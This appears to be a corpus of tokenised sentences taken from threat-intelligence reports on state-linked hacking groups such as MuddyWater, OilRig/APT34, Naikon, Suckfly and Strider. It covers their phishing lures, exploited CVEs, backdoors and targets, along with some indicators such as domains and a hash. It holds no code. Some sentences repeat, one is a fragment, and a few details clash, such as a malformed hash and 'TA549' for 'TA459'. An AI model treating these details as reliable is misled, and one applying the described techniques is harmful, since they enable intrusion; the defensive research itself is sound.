Observed Seedworm victims were located primarily in Pakistan and Turkey , but also in Russia , Saudi Arabia , Afghanistan , Jordan , and elsewhere .
The MuddyWaters group has carried out a large number of attacks and demonstrated advanced social engineering , in addition to the active development of attacks , infrastructure and the use of new methods and techniques .
Cisco Talos assesses with moderate confidence that a campaign we recently discovered called " BlackWater " is associated with suspected persistent threat actor MuddyWater .
In this latest activity , BlackWater first added an obfuscated Visual Basic for Applications ( VBA ) script to establish persistence as a registry key .
Talos has uncovered documents that we assess with moderate confidence are associated with suspected persistent threat actor MuddyWater .
MuddyWater has been active since at least November 2017 and has been known to primarily target entities in the Middle East .
Between February and March 2019 , probable MuddyWater-associated samples indicated that BlackWater established persistence on the compromised host , at used PowerShell commands to enumerate the victim 's machine and contained the IP address of the actor 's command and control ( C2 ) .
Despite last month 's report on aspects of the MuddyWater campaign , the group is undeterred and continues to perform operations .
Based on these observations , as well as MuddyWater 's history of targeting Turkey-based entities , we assess with moderate confidence that this campaign is associated with the MuddyWater threat actor group .
Our recent report , " The Chronicles of the Hellsing APT : the Empire Strikes Back " began with an introduction to the Naikon APT , describing it as " One of the most active APTs in Asia , especially around the South China Sea " .
It came in the form of a " Tran Duy Linh " CVE-2012-0158 exploit kit document MD5 : de8a242af3794a8be921df0cfa51885f61 and was observed on April 10 , 2014 .
Considering the volume of Naikon activity observed and its relentless , repeated attack attempts , such a confrontation was worth looking into , so we did .
The attackers appeared to be Chinese-speaking and targeted mainly top-level government agencies and civil and military organizations in countries such as the Philippines , Malaysia , Cambodia , Indonesia , Vietnam , Myanmar , Singapore , Nepal , Thailand , Laos and China .
The oil and gas infrastructure nexus observed in connection with greensky27.vicp.net and other Unit 78020 ( Naikon ) infrastructure suggests targeting patterns supportive of the PRC 's strategic interests over energy resources within the South China Sea and Southeast Asia .
This Naikon report will be complemented by a follow-on report that will examine the Naikon TTP and the incredible volume of attack activity around the South China Sea that has been going on since at least 2010 .
The attackers appeared to be Chinese-speaking and targeted mainly top-level government agencies and civil and military organizations in countries such as the Philippines , Malaysia , Cambodia , Indonesia , Vietnam , Myanmar , Singapore , Nepal .
This bait document , or email attachment , appears to be a standard Word document , but is in fact an CVE-2012-0158 exploit , an executable with a double extension , or an executable with an RTLO filename , so it can execute code without the user 's knowledge or consent .
In the Naikon scheme , a C&C server can be specialized XSControl software running on the host machine .
It was during operator X 's network monitoring that the attackers placed Naikon proxies within the countries ' borders , to cloak and support real-time outbound connections and data exfiltration from high-profile victim organizations .
In addition to stealing keystrokesNaikon also intercepted network traffic .
Operator X also took advantage of cultural idiosyncrasies in its target countries , for example , the regular and widely accepted use of personal Gmail accounts for work .
In the spring of 2014 , we noticed an increase in the volume of attack activity by the Naikon APT .
In particular , we noticed that the Naikon group was spear-phished by an actor we now call " Hellsing " .
More details about the cloak and dagger games between Naikon and Hellsing can be found in our blogpost : " The Chronicles of the Hellsing APT : The Empire Strikes Back " .
Truvasys has been involved in several attack campaigns , where it has masqueraded as one of server common computer utilities , including WinUtils , TrueCrypt , WinRAR , or SanDisk .
PROMETHIUM is an activity group that has been active as early as 2012 .
The group primarily uses Truvasys , a first-stage malware that has been in circulation for several years .
NEODYMIUM is an activity group that is known to use a backdoor malware detected by Microsoft as Wingbird .
PROMETHIUM and NEODYMIUM both used an exploit for CVE-2016-4117 , a vulnerability in Adobe Flash Player that , at the time , was both unknown and unpatched .
Data about Wingbird activity indicate that it is typically used to attack individual computers instead of networks .
In early May 2016 , both PROMETHIUM and NEODYMIUM started conducting attack campaigns against specific individuals in Europe .
Meanwhile , NEODYMIUM used well-tailored spear-phishing emails with attachments that delivered the exploit code , ultimately leading to Wingbird 's installation on victim computers .
PROMETHIUM and NEODYMIUM both used a zero-day exploit that executed code to download a malicious payload .
Wingbird , the advanced malware used by NEODYMIUM , has several behaviors that trigger alerts in Windows Defender ATP .
This volume chronicles two activity groups , code-named PROMETHIUM and NEODYMIUM , both of which target individuals in a specific area of Europe .
Although most malware today either seeks monetary gain or conducts espionage for economic advantage , both of these activity groups appear to seek information about specific individuals .
In May 2016 , both PROMETHIUM and NEODYMIUM were observed to launch attack campaigns .
NEODYMIUM is an activity group that , like PROMETHIUM , conducted an attack campaign in early May 2016 .
Data about Wingbird activity indicates that it is typically used to attack individuals and individual computers instead of networks .
NEODYMIUM also used the exact same CVE-2016-4117 exploit code that PROMETHIUM used , prior to public knowledge of the vulnerability 's existence .
NEODYMIUM used a backdoor detected by Windows Defender as Wingbird , whose characteristics closely match FinFisher , a government-grade commercial surveillance package .
In May 2016 , two apparently unrelated activity groups , PROMETHIUM and NEODYMIUM , conducted attack campaigns in Europe that used the same zeroday exploit while the vulnerability was publicly unknown .
The Middle Eastern hacker group in this case is codenamed " BlackOasis " Kaspersky found the group was exploiting a Adobe Flash Player zero-day vulnerability ( CVE-2016-4117 ) to remotely deliver the latest version of " FinSpy " malware , according to a new blog post published Monday .
FinSpy , a final-stage payload that allows for an attacker to covertly learn what a target is talking about and who they are communicating with , is associated with Gamma Group — which goes by other names , including FinFisher and Lench IT Solutions .
In the past , BlackOasis messages were designed to appear like news articles from 2016 about political relations between Angola and China .
BlackOasis in recent months sent a wave of phishing emails .
PROMETHIUM uses a unique set of tools and methods to perform actions like lateral movement and data exfiltration .
Last year , Microsoft researchers described Neodymium 's behavior as unusual : " unlike many activity groups , which typically gather information for monetary gain or economic espionage , PROMETHIUM and NEODYMIUM appear to launch campaigns simply to gather information about certain individuals .
The discovery by Kaspersky marks at least the fifth zero-day exploit used by BlackOasis and exposed by security researchers since June 2015 .
Victims of BlackOasis have been observed in the following countries : Russia , Iraq , Afghanistan , Nigeria , Libya , Jordan , Tunisia , Saudi Arabia , Iran , Netherlands , Bahrain , United Kingdom and Angola .
Unlike many activity groups , which typically gather information for monetary gain or economic espionage , PROMETHIUM and NEODYMIUM appear to launch campaigns simply to gather information about certain individuals .
A cursory review of BlackOasis ' espionage campaign suggests there is some overlap between the group 's actions and Saudi Arabia 's geopolitical interests .
Kaspersky 's research notes that BlackOasis hacked into computers based in Saudi Arabia .
All 13 countries where Kaspersky reportedly observed BlackOasis activity are connected to Saudi Arabia in one of three ways : economically ; from a national security perspective ; or due to established policy agreements .
The Operation Aurora , named by McAfee and announced in January 2010 , and the WikiLeaks document disclosures of 2010 have highlighted the fact that external and internal threats are nearly impossible to prevent .
These attacks have involved social engineering , spearphishing attacks , exploitation of Microsoft Windows operating systems vulnerabilities , Microsoft Active Directory compromises , and the use of remote administration tools ( RATs ) in targeting and harvesting sensitive competitive proprietary operations and project-financing information with regard to oil and gas field bids and operations .
Night Dragon 's attacks have involved social engineering , spearphishing attacks , exploitation of Microsoft Windows operating systems vulnerabilities , Microsoft Active Directory compromises , and the use of remote administration tools ( RATs ) in targeting and harvesting sensitive competitive proprietary operations and project-financing information with regard to oil and gas field bids and operations .
We have identified the tools , techniques , and network activities used in these continuing attacks—which we have dubbed Night Dragon—as originating primarily in China .
Attackers using several locations in China have leveraged C&C servers on purchased hosted services in the United States and compromised servers in the Netherlands to wage attacks against global oil , gas , and petrochemical companies , as well as individuals and executives in Kazakhstan , Taiwan , Greece , and the United States to acquire proprietary and highly confidential information .
Attackers using several locations in China have leveraged C&C servers on purchased hosted services in the United States and compromised servers in the Netherlands to wage attacks against global oil , gas , and petrochemical companies , as well as individuals and executives in Kazakhstan , Taiwan , Greece , and the United States to acquire proprietary and highly confidential information .
The primary operational technique used by Night Dragon comprised a variety of hacker tools , including privately developed and customized RAT tools that provided complete remote administration capabilities to the attacker .
While Night Dragon attacks focused specifically on the energy sector , the tools and techniques of this kind can be highly successful when targeting any industry .
In addition , the attackers employed hacking tools of Chinese origin and that are prevalent on Chinese underground hacking forums .
We have been presented with a rare opportunity to see some development activities from the actors associated with the OilRig attack campaign , a campaign Unit 42 has been following since May 2016 .
Recently we were able to observe these actors making modifications to their Clayslide delivery documents in an attempt to evade antivirus detection .
We collected two sets of Clayslide samples that appear to be created during the OilRig actor 's development phase of their attack lifecycle .
On November 15 , 2016 , an actor related to the OilRig campaign began testing the Clayslide delivery documents .
The actor then made subtle modifications to the file and uploaded the newly created file to the same popular antivirus testing website in order to determine how to evade detection .
In addition to making changes to the Excel worksheets that contain the decoy content , the actor also made changes to the worksheet that is initially displayed to the user .
Taking a step back , as discussed in the Appendix in our initial OilRig blog , Clayslide delivery documents initially open with a worksheet named " Incompatible " that displays content that instructs the user to " Enable Content " to see the contents of the document , which in fact runs the malicious macro and compromises the system .
This realization suggests that the OilRig threat group will continue to use their delivery documents for extended periods with subtle modifications to remain effective .
Iranian threat agent OilRig has been targeting multiple organisations in Israel and other countries in the Middle East since the end of 2015 .
In recent attacks they set up a fake VPN Web Portal and targeted at least five Israeli IT vendors , several financial institutes , and the Israeli Post Office .
In these websites they hosted malware that was digitally signed with a valid , likely stolen code signing certificate .
In December 2015 , Symantec published a post about " two Iran-based attack groups that appear to be connected , Cadelle and Chafer " that " have been using Backdoor.Cadelspy and Backdoor.Remexi to spy on Iranian individuals and Middle Eastern organizations " .
In May 2016 , Unit 42 observed attacks of OilRig primarily focused on financial institutions and technology organizations within Saudi Arabia .
In recent OilRig attacks , the threat actors purport to be legitimate service providers offering service and technical troubleshooting as a social engineering theme in their spear-phishing attacks .
The campaign appears highly targeted and delivers a backdoor we have called ' Helminth ' .
Artifacts identified within the malware samples related to these attacks also suggest the targeting of the defense industry in Saudi Arabia , which appears to be related to an earlier wave of attacks carried out in the fall of 2015 .
In May 2016 , Unit 42 began researching attacks that used spear-phishing emails with attachments , specifically malicious Excel spreadsheets sent to financial organizations within Saudi Arabia .
Over the course of the attack campaign , we have observed two different variations of the Helminth backdoor , one written in VBScript and PowerShell that was delivered via a macro within Excel spreadsheets and the other a standalone Windows executable .
FireEye also reported on these attacks in a May 22 blog post .
The executable variant of Helminth is installed with a dropper Trojan that we are tracking as the HerHer Trojan .
The Helminth executable variant is very similar in functionality to its script-based counterpart , as it also communicates with its C2 server using both HTTP and DNS queries .
Helminth executable samples send artifacts within network beacons to its C2 server that the Trojan refers to as a ' Group ' and ' Name ' .
It appears that the group values hardcoded into the malware is associated with the targeted organization , as several are Saudi Arabian organizations within the telecommunications and defense industries .
It appears that the group values hardcoded into the malware is associated with the targeted organization , as several are Saudi Arabian organizations within the telecommunications and defense industries .
This suggests that the threat actors are not only focused on financial organizations , as their target set could include other industries as well .
The email address edmundj@chmail.ir and the geolocation of Tehran , Iran , being of note .
The registrant information for kernel.ws also provided a geolocation of Tehran , IR and the email provider for the address used in checkgoogle.org was the same used for mydomain1607.com , chmail.ir .
The mydomain1110.com domain did not appear to reuse any of the previously observed WHOIS data artifacts , but did still give a geolocation of Tehran in addition to the use of an email address linked to other domains thematically similar to the know command and control domains and are potentially related .
While researching the OilRig campaign , we have seen two waves of targeted attacks on Saudi Arabian organizations in which a group of threat actors delivered the Helminth Trojan as a payload .
The two variants of Helminth do require different delivery methods , with the script variant relying on an Excel spreadsheet for delivery , while the executable variant is more traditional in the fact that it can be installed without a delivery document .
Since our first published analysis of the OilRig campaign in May 2016 , we have continued to monitor this group for new activity .
Additionally , the scope of organizations targeted by this group has expanded to not only include organizations within Saudi Arabia , but also a company in Qatar and government organizations in Turkey , Israel and the United States .
The group behind the OilRig campaign continues to leverage spear-phishing emails with malicious Microsoft Excel documents to compromise victims .
In addition to these instances , multiple Qatari organizations were the subject to spear phishing attacks carrying Helminth samples earlier this year .
While the malware deployed is not terribly sophisticated , it uses techniques such as DNS command and control ( C2 ) that allows it to stay under the radar at many establishments .
Less than a week after Microsoft issued a patch for CVE-2017-11882 on Nov. 14 , 2017 , FireEye observed an attacker using an exploit for the Microsoft Office vulnerability to target a government organization in the Middle East .
We assess this activity was carried out by a suspected Iranian cyber espionage threat group , whom we refer to as APT34 , using a custom PowerShell backdoor to achieve its objectives .
This threat group has conducted broad targeting across a variety of industries , including financial , government , energy , chemical , and telecommunications , and has largely focused its operations within the Middle East .
We assess that APT34 works on behalf of the Iranian government based on infrastructure details that contain references to Iran , use of Iranian infrastructure , and targeting that aligns with nation-state interests .
APT34 uses a mix of public and non-public tools , often conducting spear phishing operations using compromised accounts , sometimes coupled with social engineering tactics .
We believe APT34 is involved in a long-term cyber espionage operation largely focused on reconnaissance efforts to benefit Iranian nation-state interests and has been operational since at least 2014 .
In May 2016 , we published a blog detailing a spear phishing campaign targeting banks in the Middle East region that used macro-enabled attachments to distribute POWBAT malware .
In July 2017 , we observed APT34 targeting a Middle East organization using a PowerShell-based backdoor that we call POWRUNER and a downloader with domain generation algorithm functionality that we call BONDUPDATER , based on strings within the malware .
APT34 loosely aligns with public reporting related to the group " OilRig " .
The backdoor was delivered via a malicious .rtf file that exploited CVE-2017-0199 .
In this latest campaign , APT34 leveraged the recent Microsoft Office vulnerability CVE-2017-11882 to deploy POWRUNER and BONDUPDATER .
The vulnerability was patched by Microsoft on Nov 14 , 2017 .
The vulnerability exists in the old Equation Editor ( EQNEDT32.EXE ) , a component of Microsoft Office that is used to insert and evaluate mathematical formulas .
During the past few months , APT34 has been able to quickly incorporate exploits for at least two publicly vulnerabilities ( CVE-2017-0199 and CVE-2017-11882 ) to target organizations in the Middle East .
The OilRig group ( AKA APT34 , Helix Kitten ) is an adversary motivated by espionage primarily operating in the Middle East region .
We expect APT34 will continue to evolve their malware and tactics as they continue to pursue access to entities in the Middle East region .
The OilRig group ( AKA APT34 , Helix Kitten ) is an adversary motivated by espionage primarily operating in the Middle East region .
We first discovered this group in mid-2016 , although it is possible their operations extends earlier than that time frame .
Between May and June 2018 , Unit 42 observed multiple attacks by the OilRig group appearing to originate from a government agency in the Middle East .
The use of script-based backdoors is a common technique used by the OilRig group as we have previously documented .
The attacks delivered a PowerShell backdoor called QUADAGENT , a tool attributed to the OilRig group by both ClearSky Cyber Security and FireEye .
A closer examination revealed the obfuscation used by the OilRig group in these QUADAGENT samples were likely the result of using an open-source toolkit called Invoke-Obfuscation .
All three waves involved a single spear phishing email that appeared to originate from a government agency based in the Middle East .
This latest attack consisted of three waves between May and June 2018 .
The OilRig group continues to be a persistent adversary group in the Middle East region .
APT34 are involved in long-term cyber espionage operations largely focused on the Middle East .
This threat group has conducted broad targeting across a variety of industries , including financial , government , energy , chemical , and telecommunications .
Recent investigations by FireEye 's Mandiant incident response consultants combined with FireEye iSIGHT Threat Intelligence analysis have given us a more complete picture of a suspected Iranian threat group , that we believe has been operating since at least 2014 .
Join us in a live webinar as we discuss this threat group whom we assess to be working on behalf of the Iranian Government , with a mission that would benefit nation-state geopolitical and economic needs .
On January 8 , 2018 , Unit 42 observed the OilRig threat group carry out an attack on an insurance agency based in the Middle East .
APT34 uses a mix of public and non-public tools , often conducting spear phishing operations using compromised accounts from trusted third parties , sometimes coupled with social engineering tactics .
Just over a week later , on January 16 , 2018 , we observed an attack on a Middle Eastern financial institution .
The January 8 attack used a variant of the ThreeDollars delivery document , which we identified as part of the OilRig toolset based on attacks that occurred in August 2017 .
However , the attack on January 16 did not involve ThreeDollars at all .
Interestingly , the targeted organization in the January 16 attack had already been targeted by the OilRig group a year ago on January 2017 .
Instead , OilRig 's attack involved delivering the OopsIE Trojan directly to the victim , most likely using a link in a spear phishing email .
In the January 16 , 2018 attack , we observed OilRig attacking an organization it previously targeted in January 2017 .
On January 8 , 2018 , the OilRig threat group sent an email with the subject Beirut Insurance Seminar Invitation to an insurance agency in the Middle East .
The email contained an attachment named Seminar-Invitation.doc , which is a malicious Microsoft Word document we track as ThreeDollars .
This suggests that due to the January 2017 attack , the targeted organization may have taken actions to counter known OilRig TTPs , in this case delivering malicious macro documents , causing the OilRig operators to adopt a different delivery tactic .
We also identified another sample of ThreeDollars , created on January 15 , 2017 with the file name strategy preparation.dot .
The samples of ThreeDollars we collected in these attacks are structurally very similar to the first sample we analyzed in October 2017 , down to the lure image used to trick the recipient into clicking the " Enable Content " button to execute the malicious macro .
Since May 2016 , we have continued to monitor and uncover various attacks and tools associated with the OilRig group .
] com , which we previously identified in October 2017 to be an OilRig C2 .
Based on previously observed tactics , it is highly likely the OilRig group leveraged credential harvesting and compromised accounts to use the government agency as a launching platform for their true attacks .
Inspecting the class C network for 185.162.235.0/24 shows us that another IP on the same network resolves to an OilRig domain , msoffice-cdn.com which we identified in August 2017 .
We had previously observed this author name in use once before , in the very first ThreeDollars document we collected that we had reported on in August 2017 .
The OilRig group continues to remain a highly active adversary in the Middle East region .
Organizations detected a compromise themselves in 62% of the cases that Mandiant worked in 2017 .
The group conducts operations primarily in the Middle East , targeting financial , government , energy , chemical , telecommunications and other industries .
Repeated targeting of Middle Eastern financial , energy and government organizations leads FireEye to assess that those sectors are a primary concern of APT34 .
The use of infrastructure tied to Iranian operations , timing and alignment with the national interests of Iran also lead FireEye to assess that APT34 acts on behalf of the Iranian government .
APT34 uses a mix of public and non-public tools ( Fig.2 ) and often uses compromised accounts to conduct spear-phishing operations .
In November 2017 , APT34 leveraged the Microsoft Office vulnerability CVE-2017-11882 to deploy POWRUNER and BONDUPDATER less than a week after Microsoft issued a patch .
Unit 42 's ongoing research into the OilRig campaign shows that the threat actors involved in the original attack campaign continue to add new Trojans to their toolset and continue their persistent attacks in the Middle East .
When we first discovered the OilRig attack campaign in May 2016 , we believed at the time it was a unique attack campaign likely operated by a known , existing threat group .
The email address is associated with the Lebanese domain of a major global financial institution .
POWRUNER was delivered using a malicious RTF file that exploited CVE-2017-0199 .
In July 2017 , we observed the OilRig group using a tool they developed called ISMAgent in a new set of targeted attacks .
In August 2017 , we found this threat group has developed yet another Trojan that they call ' Agent Injector ' with the specific purpose of installing the ISMAgent backdoor .
On August 23 , 2017 , we observed OilRig targeting an organization within the United Arab Emirates government .
Based on that research and this observation , we postulate that the OilRig group gathered credentials to a legitimate user 's OWA account and logged into the user 's account to send phishing attacks to other individuals within the same , targeted organization .
The OilRig group continues to target organizations in the Middle East , in this instance targeting the government of the United Arab Emirates .
The payload embedded within the ISMInjector sample delivered in this attack is a variant of the ISMAgent backdoor that we had discussed in detail in our blog discussing a targeted attack on a Saudi Arabian technology company .
Initial inspection of this attack suggested this was again the OilRig campaign using their existing toolset , but further examination revealed not only new variants of the delivery document we named Clayslide , but also a different payload embedded inside it .
In July 2017 , we observed an attack on a Middle Eastern technology organization that was also targeted by the OilRig campaign in August 2016 .
This technique was observed in previous Clayslide documents to access the script variant of the Helminth Trojan in earlier OilRig attacks .
In the past , we had primarily associated the OilRig campaign with using the Clayslide documents to deliver as a payload a Trojan we named Helminth ; in this instance , the payload was instead a variant of the ISMDoor Trojan with significant modifications which we are now tracking as ISMAgent .
The June 2017 sample of Clayslide contained the same OfficeServicesStatus.vbs file found in the ISMAgent Clayslide document , but instead of having the payload embedded in the macro as segregated base64 strings that would be concatenated , this variant obtained its payload from multiple cells within the " Incompatible " worksheet .
Clearly , OilRig incorporates a testing component within their development process , as we have previously observed OilRig performing testing activities on their delivery documents and their TwoFace webshells .
While continuing research on the August 2018 attacks on a Middle eastern government that delivered BONDUPDATER , Unit 42 researchers observed OilRig 's testing activities and with high confidence links this testing to the creation of the weaponized delivery document used in this attack .
While investigating recent attacks performed by the threat actor group OilRig using their new Bondupdater version , Unit 42 researchers searched for additional Microsoft Office documents used by OilRig hoping to locate additional malware being used in other attacks during the same time period .
The tester created the final test file less than 8 hours before the creation time of a delivery document , which was then delivered via a spear-phishing email 20 minutes later .
During this testing , we saw document filenames that contain the C2 we witnessed in the targeted attack above , specifically the filenames XLS-withyourface.xls and XLS-withyourface – test.xls .
These samples appeared to have been created by OilRig during their development and testing activities , all of which share many similarities with the delivery document used in the recent OilRig attack against a Middle Eastern government , N56.15.doc ( 7cbad6b3f505a199d6766a86b41ed23786bbb99dab9cae6c18936afdc2512f00 ) that we have also included in Table 1 .
However , they later continued by making modifications to the Excel document just prior to the attack on August 26th .
HELIX KITTEN is likely an Iranian-based adversary group , active since at least late 2015 , targeting organizations in the aerospace , energy , financial , government , hospitality and telecommunications business verticals .
Additionally , HELIX KITTEN actors have shown an affinity for creating thoroughly researched and structured spear-phishing messages relevant to the interests of targeted personnel .
In addition to Helminth , the ISMDoor implant is likely used by the Iran-based adversary to attack targets particularly those in the Middle East region .
These incidents involved spear-phishing attacks , which characteristic of HELIX KITTEN , included emails containing malicious PowerShell in their macros that connects to known C2 infrastructure .
During the summer of 2018 , HELIX KITTEN actors were observed targeting entities in the Middle East — of note , targets appeared to be located in Bahrain and Kuwait .
ISMDoor is able to exfiltrate data , take screenshots , and execute arbitrary commands on the victim 's machine .
In early November 2018 , CrowdStrike observed activity from the HELIX KITTEN adversary at a customer in the telecommunications vertical .
The attackers sent multiple emails containing macro-enabled XLS files to employees working in the banking sector in the Middle East .
In the first week of May 2016 , FireEye 's DTI identified a wave of emails containing malicious attachments being sent to multiple banks in the Middle East region .
Our data suggests that actors have deployed the RGDoor backdoor on webservers belonging to eight Middle Eastern government organizations , as well as one financial and one educational institution .
In August 2018 , Unit 42 observed OilRig targeting a government organization using spear-phishing emails to deliver an updated version of a Trojan known as BONDUPDATER .
The OilRig group has been active since at least mid-2016 , and continues their attack campaigns throughout the Middle East , targeting both governmental agencies and businesses on an almost routine basis .
BONDUPDATER is a PowerShell-based Trojan first discovered by FireEye in mid-November 2017 , when OilRig targeted a different Middle Eastern governmental organization .
During the past month , Unit 42 observed several attacks against a Middle Eastern government leveraging an updated version of the BONDUPDATER malware , which now includes the ability to use TXT records within its DNS tunneling protocol for its C2 communications .
The email had no subject and what initially drew our attention to OilRig 's attack was the content of the spear phishing email .
As expected , OilRig is continuing their onslaught of attacks well into 2018 with continued targeting in the Middle East .
First identified in January 2015 , Orangeworm has also conducted targeted attacks against organizations in related industries as part of a larger supply-chain attack in order to reach their intended victims .
According to Symantec telemetry , almost 40 percent of Orangeworm 's confirmed victim organizations operate within the healthcare industry .
Their next move was to list any remote shared drives and then attempt to access remote shares owned by the specific government office they were targeting , again attempting to extract all Word documents .
Sowbug 's next move was to list any remote shared drives and then attempt to access remote shares owned by the specific government office they were targeting , again attempting to extract all Word documents .
For example , in September 2016 , Sowbug infiltrated an organization in Asia , deploying the Felismus backdoor on one of its computers , Computer A , using the file name adobecms.exe in CSIDL_WINDOWS\debug .
In this case , the attackers maintained a presence on the target 's network for nearly six months between September 2016 and March 2017 .
In other attacks , there was evidence that Felismus was installed using a tool known as Starloader ( detected by Symantec as Trojan.Starloader ) .
Symantec has found evidence of Starloader files being named AdobeUpdate.exe , AcrobatUpdate.exe , and INTELUPDATE.EXE among others .
Additionally , Starloader was also observed deploying additional tools used by the attackers , such as credential dumpers and keyloggers .
ASERT has learned of an APT campaign , possibly originating from DPRK , we are calling STOLEN PENCIL that is targeting academic institutions since at least May 2018 .
Once gaining a foothold on a user 's system , the threat actors behind STOLEN PENCIL use Microsoft 's Remote Desktop Protocol ( RDP ) for remote point-and-click access .
The group uses an advanced piece of malware known as Remsec ( Backdoor.Remsec ) to conduct its attacks .
Strider has been active since at least October 2011 .
Lua modules is a technique that has previously been used by Flamer .
The Remsec malware used by Strider has a modular design .
The group has maintained a low profile until now and its targets have been mainly organizations and individuals that would be of interest to a nation state 's intelligence services .
The group 's targets include a number of organizations and individuals located in Russia .
Remsec uses a Lua interpreter to run Lua modules which perform various functions .
The attackers then began to perform reconnaissance activities on Computer A via cmd.exe , collecting system-related information , such as the OS version , hardware configuration , and network information .
the group 's targets include an organization in Sweden .
the group 's targets include an embassy in Belgium .
Symantec will continue to search for more Remsec modules and targets in order to build upon our understanding of Strider and better protect our customers .
Another such an exceptional espionage platform is " ProjectSauron , also known as " Strider " .
In September 2015 , our anti-targeted attack technologies caught a previously unknown attack .
Forensic analysis indicates that the APT has been operational since at least June 2011 and was still active in 2016 .
After getting the IP , the ProjectSauron component tries to communicate with the remote server using its own ( ProjectSauron ) protocol as if it was yet another C&C server .
In a number of the cases we analyzed , ProjectSauron deployed malicious modules inside the custom network encryption 's software directory , disguised under similar filenames and accessing the data placed beside its own executable .
The threat actor behind ProjectSauron commands a top-of-the-top modular cyber-espionage platform in terms of technical sophistication , designed to enable long-term campaigns through stealthy survival mechanisms coupled with multiple exfiltration methods .
In September 2015 , Kaspersky Lab 's Anti-Targeted Attack Platform discovered anomalous network traffic in a government organization network .
In late 2015 , Symantec identified suspicious activity involving a hacking tool used in a malicious manner against one of our customers .
Secondary ProjectSauron modules are designed to perform specific functions like stealing documents , recording keystrokes , and hijacking encryption keys from both infected computers and attached USB sticks .
activity originated from three separate IP addresses , all located in Chengdu , China .
We don't know the exact date Suckfly stole the certificates from the South Korean organizations .
stolen certificates being used maliciously occurred in early 2014 .
Symantec detects this threat as Backdoor.Nidiran .
Specifically , Suckfly used a specially crafted web page to deliver an exploit for the Microsoft Windows OLE Remote Code Execution Vulnerability ( CVE-2014-6332 ) , which affects specific versions of Microsoft Windows .
The threat then executes " svchost.exe " .
Attackers have been known to distribute malicious files masquerading as the legitimate iviewers.dll file and then use DLL load hijacking to execute the malicious code and infect the computer .
Once exploit has been achieved , Nidiran is delivered through a self-extracting executable that extracts the components to a .tmp folder after it has been executed .
The certificates Blackfly stole were also from South Korean companies , primarily in the video game and software development industry .
Blackfly began with a campaign to steal certificates , which were later used to sign malware used in targeted attacks .
In March 2016 , Symantec published a blog on Suckfly , an advanced cyberespionage group that conducted attacks against a number of South Korean organizations to steal digital certificates .
Since then we have identified a number of attacks over a two-year period , beginning in April 2014 , which we attribute to Suckfly .
The attacks targeted high-profile targets , including government and commercial organizations .
these attacks were part of a planned operation against specific targets in India .
While there have been several Suckfly campaigns that infected organizations with the group 's custom malware Backdoor.Nidiran , the Indian targets show a greater amount of post-infection activity than targets in other regions .
While there have been several Suckfly campaigns that infected organizations with the group 's custom malware Backdoor.Nidiran , the Indian targets show a greater amount of post-infection activity than targets in other regions .
The first known Suckfly campaign began in April of 2014 .
Suckfly 's attacks on government organizations that provide information technology services to other government branches is not limited to India .
It has conducted attacks on similar organizations in Saudi Arabia , likely because of the access that those organizations have .
Similar to its other attacks , Suckfly used the Nidiran back door along with a number of hacktools to infect the victim 's internal hosts .
In 2015 , Suckfly conducted a multistage attack .
Suckfly conducted a multistage attack between April 22 and May 4 .
On April 22 , 2015 , Suckfly exploited a vulnerability on the targeted employee 's operating system ( Windows ) that allowed the attackers to bypass the User Account Control and install the Nidiran back door to provide access for their attack .
Suckfly conducted a multistage attack against an e-commerce organization .
Suckfly conducted a multistage attack against an e-commerce organization based in India .
Most of the group 's attacks are focused on government or technology related companies and organizations .
While we know the attackers used a custom dropper to install the back door , we do not know the delivery vector .
While tracking what days of the week Suckfly used its hacktools , we discovered that the group was only active Monday through Friday .
By targeting all of these organizations together , Suckfly could have had a much larger impact on India and its economy .
While we don't know the motivations behind the attacks , the targeted commercial organizations , along with the targeted government organizations , may point in this direction .
There is no evidence that Suckfly gained any benefits from attacking the government organizations , but someone else may have benefited from these attacks .
During this time they were able to steal digital certificates from South Korean companies and launch attacks against Indian and Saudi Arabian government organizations .
We believe that Suckfly will continue to target organizations in India and similar organizations in other countries in order to provide economic insight to the organization behind Suckfly 's operations .
This time , however , TA459 opportunistically used spear-phishing emails with a Microsoft Word attachment exploiting the recently patched CVE-2017-0199 to deploy the ZeroT Trojan , which in turn downloaded the PlugX Remote Access Trojan ( RAT ) .
Proofpoint is tracking this attacker , believed to operate out of China , as TA459 .
This time , however , attackers opportunistically used spear-phishing emails with a Microsoft Word attachment exploiting the recently patched CVE-2017-0199 to deploy the ZeroT Trojan , which in turn downloaded the PlugX Remote Access Trojan ( RAT ) .
TA549 possesses a diverse malware arsenal including PlugX , NetTraveler , and ZeroT .
TA459 is well-known for targeting organizations in Russia and neighboring countries .
Ongoing activity from attack groups like TA459 who consistently target individuals specializing in particular areas of research and expertise further complicate an already difficult security situation for organizations dealing with more traditional malware threats , phishing campaigns , and socially engineered threats every day .
Using data collected from the Trend Micro™ Smart Protection Network , we are able to identify victims whose networks communicated with Taidoor C&C servers .
The Taidoor attackers have been actively engaging in targeted attacks since at least March 4 , 2009 .
Taidoor spoofed Taiwanese government email addresses to send out socially engineered emails in the Chinese language that typically leveraged Taiwan-themed issues .
Despite some exceptions , the Taidoor campaign often used Taiwanese IP addresses as C&C servers and email addresses to send out socially engineered emails with malware as attachments .
One of the primary targets of the Taidoor campaign appeared to be the Taiwanese government .
Suckfly targeted one of India 's largest e-commerce companies , a major Indian shipping company , one of India 's largest financial organizations , and an IT firm that provides support for India 's largest stock exchange .
Data from the early part of this year shows that the Taidoor attackers rampantly used malicious.DOC files to exploit a Microsoft Common Controls vulnerability , CVE-2012-0158 .
Taidoor actively sent out malicious documents and maintained several IP addresses for command and control .
The attackers actively sent out malicious documents and maintained several IP addresses for command and control .
As part of their social engineering ploy , the Taidoor attackers attach a decoy document to their emails that , when opened , displays the contents of a legitimate document but executes a malicious payload in the background .
Sometimes , however , certain samples made use of domain names for HTTP communication .
Based on the command capabilities of the Taidoor malware , we were able to determine that data theft and data destruction was possible .
The ultimate objective of targeted attacks is to acquire sensitive data .
In December 2017 , FireEye publicly released our first analysis on the TRITON attack where malicious actors used the TRITON custom attack framework to manipulate industrial safety systems at a critical infrastructure facility and inadvertently caused a process shutdown .
In our most recent analysis , we attributed the intrusion activity that led to the deployment of TRITON to a Russian government-owned technical research institute in Moscow .
For more in-depth analysis of TRITON and other cyber threats , consider subscribing to FireEye Cyber Threat Intelligence .
During this time , the attacker must ensure continued access to the target environment or risk losing years of effort and potentially expensive custom ICS malware .
In this report we continue our research of the actor 's operations with a specific focus on a selection of custom information technology ( IT ) tools and tactics the threat actor leveraged during the early stages of the targeted attack lifecycle .
Additionally , the actor possibly gained a foothold on other target networks—beyond the two intrusions discussed in this post – using similar strategies .
